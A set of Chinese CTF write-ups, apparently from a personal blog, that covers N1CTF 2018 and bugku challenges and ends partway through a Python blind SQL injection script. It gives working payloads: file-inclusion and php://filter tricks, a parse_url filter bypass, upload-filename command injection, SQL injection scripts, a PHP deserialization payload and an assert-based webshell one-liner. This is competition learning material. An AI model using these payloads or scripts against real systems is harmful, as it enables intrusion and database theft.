N1CTF funning eating cms writeup

前言

  这道题get到点时已经太晚了,比赛期间的进度也可以算是达到了80%,略微遗憾。

  打开题目的链接,发现只有login登陆表,尝试访问register.php,返回注册页面,先注册一个账号。用注册的账号登陆后发现是如下页面。




  开始猜测是文件包含漏洞,一开始是尝试读取index.php的源码,但发现没有返回数据。




  然后尝试只读index,发现这才是正确的打开方式:)




  解密后的代码如下:
1
2
3
4
5
6
7
8
9
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>

  用类似的办法将其他文件给读出来。
info.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/info.html";
?>


info.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/guest.html";
?>


login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
require_once "function.php";
if($_POST['action'] === 'login'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = login($user,$pass);
if(!$res){
Header("Location: index.php");
}else{
Header("Location: user.php?page=info");
}
}
else{
Header("Location: error_parameter.php");
}
}else if($_REQUEST['action'] === 'logout'){
logout();
}else{
Header("Location: error_parameter.php");
}
?>


register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
require_once "function.php";
if($_POST['action'] === 'register'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = register($user,$pass);
if($res){
Header("Location: index.php");
}else{
$errmsg = "Username has been registered!";
}
}
else{
Header("Location: error_parameter.php");
}
}
if (!$_SESSION['login']) {
include "templates/register.html";
} else {
Header("Location : user.php?page=info");
}
?>


function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}


function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}

function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}

function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}

function updateadmin($level,$user)
{
$user = Filter($user);
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}

function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}

function logout()
{
session_destroy();
Header("Location: index.php");
}
?>


config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?>


user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>

  以上就是一开始能读到的源码。想试图尝试读取flag、ffffllllaaaaggg,但发现有过滤,会被重定向到hacker。然后在用zap抓包的时候发现了hint。




  但由于过滤的原因,无法访问此文件,但这个hint也为我们指明了方向,接下来尝试了一下敏感目录扫描,然后就发现了.viminfo泄露。




1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/update.html";
?>

  尝试访问了一下:




  再去读取updateadmin233333333333333.php的源码,发现跟updateadmin.php的源码相同。

  然后自己当时想到的点就是:

  • 1、绕过isadmin验证
  • 2、绕过filter_directory()过滤

  先尝试的进行register注册账号时进行注入,致使isadmin置为1,尝试构造了的payload:hahaha','123','1')-- +,但是可以看到有白名单限制,它过滤了空格,所以这个猜想看起来行不通。

  再进行filter_directory绕过时自己没有看出tips,看出来估计这里就不用停那么久了。。。后来逼得没办法了,就将它里面的关键代码拿去google了一下,这下还真有发现。




  打开后就找到了payload:

这里用到了 parse_url 函数在解析 url 时存在的 bug,通过:////x.php?key=value 的方式可以使其返回 False。

  拿着这个payload,发现果真有用。




  读它的源码:
1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload2323233333.html";

?>

  发现并没有什么有用的信息,接着访问一下。




  在读upllloadddd.php的源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

  将关键部分的代码Google一下,然后又发现了几乎一样的源码。。。




  他这里的payload是:




  由于找到此篇文章的时候已经比赛结束了,,拿着它提供的脚本跑了一会却没有按他说预言的生成php文件,所以就从ctftime上找了一篇writeup照着复现一下。

  因为他执行的是system()函数,所以这里可以造成任意代码执行漏洞。






  再查看上一级目录:






  读取这个文件,发现直接cat ../flag_233333不行,/被过滤掉了,不过我们可以cd ..再读。






  至此,成功拿到flag。这道题自己学到了很多,也意识到了自己的经验还是不足,以后必将勤加练习,当然还是要留意细节跟善用搜索引擎。。。

  希望能在这条路上走远一点:)

参考链接

[]N1CTF 2018 - Funning eating cms

[]Web中的条件竞争漏洞

[]GeekPwn2016跨次元CTF Writeup

[]web

N1CTF 77777 writeup

前言

  这是我及我所在的团队第一次参加正式的CTF比赛,所取得的成绩也还算满意,比赛过程中作者负责web方向,比赛中的成果就是两道77777

77777

  题目描述:






  这道题最坑的就是一开始没有判断出是否注入成功的依据,后面经师兄指导才发现依据就是注入的数字是否已经改变,当然这道题的环境官方也说明每个队注入没有隔离开,造成即使注入成功也可能被别的队刷走,从而影响判断。

  又因为它是sptintf("xxx%d%s"),所以注入应该在str的地方,也就是在hi中进行注入,payload:hi=000 where ord(substr(password, 1, 1))>100,因为是在update users set中注入,所以这里不需要再使用union,select等方法了。完整的payload如下图:




  如果注入成功,则会返回你的flag字段,如:




  由于这个题的环境不稳定,不太适合脚本的判断,所以,就手工注入一遍了。

77777 2

  这道题跟上一道提供的描述是一样的,不同的是对hi进行了更严格的过滤,上一道的payload就无效了。

  这道题过滤了and or || & &&(为了不产生二义,这里用空格分隔),但是唯独没有过滤掉|。所以我们可以选择|进行位注入。然后在检测一下,没有被过滤的是:substr select from if,所以考虑用if替代where进行判断。

  经过一轮苦逼的测试,终于搞出一个payload:hi=000 | IF (substr((select substr( pw from 1)),1,1)>'z',1,0),这里( pw中间一定要有空格,不然无法绕过。另一个要说的就是pw from 1,它会返回pw字段从1开始的所有值。如:

1
2
pw = 'flag{123456}'
pw from 1 ---> flag{123456}

  payload:




  判断的依据是返回的数字的最后一位,如:




  如果是返回错误则是如下:





另一个tips就是数字的后一位一定要0,不然如果是1的话就无法判断了。1 |任何也是真。

  再然后就是逐位的判断,有些数字会被过滤掉,这点上不知道是我的payload有问题还是本来就是这样。。。。




  如上,逐位比较的时候使用+1的方法,如果直接用2,3,4,…的话有些数字会被过滤,还有就是有些字符也会被过滤,但无关flag字段。
  附上脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding:utf-8 -*-
import requests

url = 'http://47.52.137.90:20000/'
flag = ''

for i in range(1, 50):
lc = ''
for a in range(i):
lc += '+1'
lc = lc[1:]
sql = '000 | IF (substr((select substr( pw from 1)),{0},1)>\'{1}\',1,0)'
for ch in range(33, 128):
sqli = sql.format(lc, chr(ch))
data = {
'flag': 123,
'hi': sqli
}
# print(data)
html = requests.post(url, data=data)
text = html.text
# print(text)
if '123000' in text:
flag += chr(ch)
print(flag)
break
else:
pass

bugku ctf writeup2

前言

  这篇开始bugku高级篇。。。

Web

XSS注入测试

  题目描述:

1、请注入一段XSS代码,获取Flag值
2、必须包含alert(key),key会自动被替换

  随便测试了一下,发现会对字符进行实体编码。




  注意到页面是utf-8编码,id传入代码会在s中运行,考虑将<>进行unicode编码,这样当代码被替换进去运行时,utf-8编码又会将其变回来
  所以payload:?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e,访问后查看源代码即可得到flag。

### never give up
  查看题目的源代码如下:



  访问1p.html,注意是在查看源代码的地方访问,然后可以发现加密了的字符串。



  拿去解密,这里不累赘。直接放出源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>


  可以看到flag文件已经暴露出来,直接访问也可以拿到flag。但这里介绍绕过检测拿到flag的方法。可以看到满足拿flag的条件有三个:
一:id

    id既要不等于0(if(!$_GET['id'])),又要等于0($id==0)。所以这里我们要利用php的松散性,字符串跟0比较(==)是成立的,所以payload:"aaa" == 0
二:php伪协议

    $data = @file_get_contents($a,'r');的存在可以使用php://input在绕过,所以:a=php://input,然后在postbugku is a nice plateform!。
三:字符截断     假设:
1
2
3
$b = "%0012345"
substr($b,0,1) --> 将返回空(null
strlen($b)>5 --> 是成立的


  所以最终的payload:?id=aaa&a=php://input&b=%00abcde


never give up

  查看网页源代码可以发现存在源码泄露漏洞。




  使用php伪协议:php://input,php://filter可以读取index.php和hint.php的base64源码。



  这里直接贴解密后的代码。
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>


hint.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>


  从$password = unserialize($password);中很明显可以看到是反序列化漏洞,所以构造读取flag的payload:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  所以最终的payload为:



  这里要注意的是file=hint.php,因为要利用php对象反序列化要先声明对象,所以要将hint.php包含进来。

  总的来说,这道题的考察点算是比较多的,包括:php伪协议、文件包含、php反序列化,所以质量还是可以的。

### 过狗一句话
  题目描述:
>http://120.24.86.145:8010/
>送给大家一个过狗一句话
><?php $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’]) ?>

  这个一句话组合起来实际是:assert($_GET['s']),验证一下,发现确实可行。



  但发现在执行system函数的时候无返回结果估计被禁用了。



  接着使用php读取文件的代码:
1
eval("echo file_get_contents('flag.txt');")





  这里的flag.txt是我自己猜测的,但结果还真被我猜对了。。。

  这道题解得有点侥幸,如果flag不存放在flag.txt,那么这方法将利用不了,所以为了解决这个问题,自己特别找了这道题的writeup,介绍一种使用php代码遍历当前目录的文件的方法:php中的glob()函数,详细说明如下:



  所以我们可以使用print_r(glob("*.*"))来打印当前目录下存在的文件。



  然后再介绍几种读取文件的方法:
1
2
3
show_source('flag.txt');
var_dump(file("flag.txt"));
print_r(file("flag.txt"));


### 字符?正则?
1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>


  这个还是比较简单的,其中一个payload:?id=keyaaakeybbbbbkey:/c/dddkeye.


各种绕过

  题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>

  sha1的绕过跟md5一样使用数组即可,注意请求的方式。



web8

  题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

  解题的关键在于extract($_GET)函数,它会将数组中的值按键值赋值,例如:?id=1&name=junay&key=key,经过extract的处理后会产生:

1
2
3
$id = 1;
$name = "junay";
$key = "key";

  所以我们构造$ac$fn,其中$fn使用php://input伪协议。最终的payload:



细心

  打开页面发现是404,但是对这个站熟悉的话,正常返回的404是不一样的,所以这个404是骗人的,而且通过网络可以验证这一点。




  同时,这里看到No such file or directory.,还给你加红显示,估计就是想让你爆目录,拿出扫描工具,结果如下。



  访问robots.txt,可以发现线索。



  再跟下去可以发现真正的页面



  因为题目说想办法变成admin,所以尝试构造x=admin试试,结果flag就出来了。


求getshell

  题目:




  这道题是看writeup做出来的,一开始测试时没有想到改Content-Type,其实只需要将其中的一个字母大写就可以了,然后测试php2, php3, php4, php5,phps, pht, phtm, phtml,发现只有php5能绕过。所以payload就是:




  
  
  
  
  
  

bugku ctf writeup1

前言

  此篇文章记录bugku中作者觉得比较有价值的writeup。

MISC

linux基础问题

  将压缩包下载后可以发现一个flag文件,拿到010Editor查找flag却没有任何发现,后来使用winhex查找flag,发现了flag.txt,但这并没有什么用,所以再次查找key,此时就能找到flag。
flag:key{feb81d3834e2423c9903f4755464060b}



中国菜刀

  下载压缩文件后可以发现是wireshark的捕获包,使用wireshark分析,追踪TCP流可以发现有一段流比较奇怪。




  将传输的数据拿去进行base64解密可以得知这个流是读取flag的数据流。



  所以将这个蓝色部分的数据提取出来



  调整数据流后再选择解码类型。



  所以flag:key{8769fe393f2b998fa6a11afe2bfcd65e}

### 这么多数据包
  下载后用wireshark打开,将进度条下拉到灰色(传输稳定)的状态,选择一条,然后追踪TCP流,






  调节流,在1735就有发现,将那串字符进行base64解码后可以发现。






  所以flag:CCTF{do_you_like_sniffer}

### Linux2
  题目描述:
1
2
给你点提示吧:key的格式是KEY{}
题目地址:链接: http://pan.baidu.com/s/1skJ6t7R 密码: s7jy


  将文件下载后使用binwalk、foremost可以分离出一个看似是flag的图片,但提交却是错误。无奈只能换种思路,自己想了挺久没想出来,后来查了下writeup才发现正确的解题方式:使用strings brave分析文件






  所以flag:KEY{24f3627a86fc740a7f36ee2c7a1c124a}

## WEB
### sql注入
  题目描述:



  在测试的时候发现不管’还是”都无法判断是否存在注入,查看源代码发现页面使用gb2312,所以考虑宽字节注入,。



1
POC: id=1%df%27 and 1=1 -- +





  但在查询string的值时发生如下错误



  尝试将key使用反引号包围,即`key`。最终得到flag。



  所以flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}

  后来查阅了资源,sqlmap进行宽字节注入的payload如下:
1
python2 sqlmap.py -u http://103.238.227.13:10083/?id=1%df%27


### 域名解析
  题目描述:
>听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag

  windows下修改本地hosts解析的方法是修改C:\Windows\System32\drivers\etc下的hosts文件,注意要用管理员身份修改。



  在里面增加一条记录即可,然后访问flag.bugku.com,即可得到flag。


SQL注入测试

  题目描述:

访问参数为:?id=x
查找表为key的数据表,id=1值hash字段值

  过滤代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

  可以看出过滤得很严格,但致命的缺陷是$id = strip_tags($id);,它给了我们一丝可乘之机。strip_tags可以过滤掉html、xml、php中的标签,比如将a<a>nd过滤成and。

  所以payload:

1
http://103.238.227.13:10087/?id=-1 u<a>nion se<a>lect hash,2 f<a>rom `key` where id=1 -- +

  flag: KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

本地包含

  题目描述:

1
2
3
4
5
6
7
echo '2333,不只是本地文件包含哦~'; <?php 
include "waf.php";
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

  这里一开始踏进了一个坑,测试的时候使用了1)";echo 111;//,但没有任何回显。




  看了writeup后才发现"是多余的。



  在eval()中可以使用print_r(file("xxx"))的形式读取文件,所以payload就是:1);print_r(file("flag.php"));//


变量1

  题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

  这里由于正则只匹配字母,不允许有;之类的符号出现,所以用上一道题的payload是没法获得flag的。但好在存在$$args,可以为我们打开另一道窗。

  这里介绍一个php中的特殊变量: $GLOBALS,它的作用如下:




  所以我们可以利用$GLOBALS输出flag的值,故payload:http://120.24.86.145:8004/index1.php?args=GLOBALS


备份是个好习惯

  题目描述:

http://120.24.86.145:8002/web16/
听说备份是个好习惯

  访问index.php.bak可以下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

  这里说下$_SERVER['REQUEST_URI']parse_str($str)的作用,

1
2
3
4
5
6
7
8
访问:http://localhost/aaa/?p=222
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";

<?php
parse_str("name=Bill&age=60");
echo $name."<br>"; // Bill
echo $age; // 60
?>

  接下来介绍两个绕过md5检查的方法

  • 一:使用数组的形式绕过
        因为MD5不能处理数组,MD5在对数组进行加密时会返回false(null?)false==false无疑是成立的,所以可以构造?a[]=1&b[]=2之类的方法绕过检查。所以,payload1如下:


  • 二:找到两个md5加密后相同的值
        这个要考积累,这里我找到了两个值。?key1=QNKCDZO&key2=240610708


秋名山老司机

  题目描述:

亲请在2s内计算老司机的车速是多少
1741242492-1033554030-217864531-2107975482+1148641444-1741096300+174362695137826373521637778+861571530+717037212=?;

  附上python脚本如下,这里重要的函数是eval()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding:utf-8 -*-

import requests
from bs4 import BeautifulSoup
url='http://120.24.86.145:8002/qiumingshan/'
r=requests.session()
requestpage = r.get(url)
soup = BeautifulSoup(requestpage.content, 'lxml')
ans=soup.select('div')[0].get_text()[:-3]
print(ans)
post=eval(ans)#计算表达式的值
data={'value':post}#构造post的data部分
flag=r.post(url,data=data)
print(flag.text)

速度要快

  题目描述:




  要注意的是margin,这是一个数字,这也是后面的一个小坑。

  用burpsuite抓包可以发现,http的头部有flag,并且一看就是base64编码过的。



  最后的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf-8 -*-
import requests
import base64

url = 'http://120.24.86.145:8002/web6/'
r = requests.session()
html = r.get(url)
bs = html.headers['flag']
key = base64.b64decode(bs)
key = str(key, encoding='utf-8')
print(key)
key = key.split(' ')[1]
key = str(base64.b64decode(key), encoding='utf-8')
print(key)
data = {'margin':key}
html = r.post(url, data)
print(html.text)


  要注意的是,后面的一串还要进行一次base64解码才能得到数字


python sql盲注脚本

前言

  sql注入中要数盲注比较慢,尤其是没有脚本辅助的情况下,所以写个sql盲注脚本在ctf中有比较重要的作用。此文的程序语言为python。下面的脚本是对pragyan ctf web4的解决方案,所以payload中使用了base64编码,这里遇到一个小坑,比赛的时候使用base64.b64encode()发生了编码错误,又因为时间紧张,所以就放缓了脚本的编写,但现在已经解决了加密的编码问题。

  python3 base64编码问题的解决方法为:

1
2
3
4
# 先将string型的test3转换成bytes加密
testi = base64.b64encode(test3.encode('utf-8'))
# 再将bytes型的testi转换成string
testi = str(testi, encoding='utf-8')

  脚本中为了提高爆破效率使用了二分查找的方法,并且使用返回页面的大小作为正确与否的判断,详细代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
# -*- coding:utf-8 -*-
from time import sleep

import requests
import base64

# 适用于poc: 1' or 1=1 -- +

url = 'http://128.199.224.175:24000/'

poc1 = "1' or 1=1 -- +"
sqli = base64.b64encode(poc1.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
right_len = len(r)

poc2 = "1' or 1=2 -- +"
sqli = base64.b64encode(poc2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
wrong_len = len(r)
judge = wrong_len + (right_len - wrong_len) // 2

def fuzz(sql, test, pos1, pos2, tmp):
left = 32
right = 127
while True:
mid = (left + right) // 2
# print('正在测试字符:', str(mid))
test3 = test.format(pos1 - 1, pos2, mid)
testi = base64.b64encode(test3.encode('utf-8'))
testi = str(testi, encoding='utf-8')
params = {'spy_name': testi}
html = requests.post(url, params)
r = html.text
if len(r) > judge:
tmp += chr(mid)
return tmp

sqli = sql.format(pos1 - 1, pos2, mid)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) > judge:
left = mid
else:
right = mid

database = ''
sql = "1' or (ascii(substr(database(),{0},1)))>{1} -- +"
test = "1' or (ascii(substr(database(),{0},1)))={1} -- +"
for pos in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。

test2 = sql.format(pos,1)
sqli = base64.b64encode(test2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('======================')
print('[*]database: ',database)
print('======================\n')
break

left = 32
right = 127
while True:
mid = (left + right) // 2
# print('正在测试字符:', str(mid))
test3 = test.format(pos, mid)
testi = base64.b64encode(test3.encode('utf-8'))
testi = str(testi, encoding='utf-8')
params = {'spy_name': testi}
html = requests.post(url, params)
r = html.text
if len(r) > judge:
database += chr(mid)
print('[+]database: ', database)
break

sqli = sql.format(pos, mid)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) > judge:
left = mid
else:
right = mid



tables_name = {}
sql = "1' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{2} -- +"
test = "1' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2} -- +"
for table_num in range(1, 20):
sqli = sql.format(table_num - 1, 1, 1)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('[*]已无其他表!')
break
print('[+]正在爆破表', str(table_num))
table = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(table_num - 1, str_num, 1)
sqli = base64.b64encode(test2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('======================')
print('[*]table: ', table)
tables_name[table_num] = table
print('======================\n')
break

table = fuzz(sql, test, table_num, str_num, table)
print('[+]table: ', table)

print('******************')
for key in tables_name:
print('[*]table' + str(key) + ': ' + tables_name[key])
print('******************\n')


tb = int(input('>请选择需要爆破的表(数字):'))
# for tb in tables_name:
sql = "1' or (ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))>{2} -- +"
test = "1' or (ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))={2} -- +"
colunms_name = {}
for column_num in range(1, 20):
sqli = sql.format(column_num - 1, 1, 1)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('[*]已无其他字段!')
break
print('[+]正在爆破字段', str(column_num))
column = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(column_num - 1, str_num, 1)
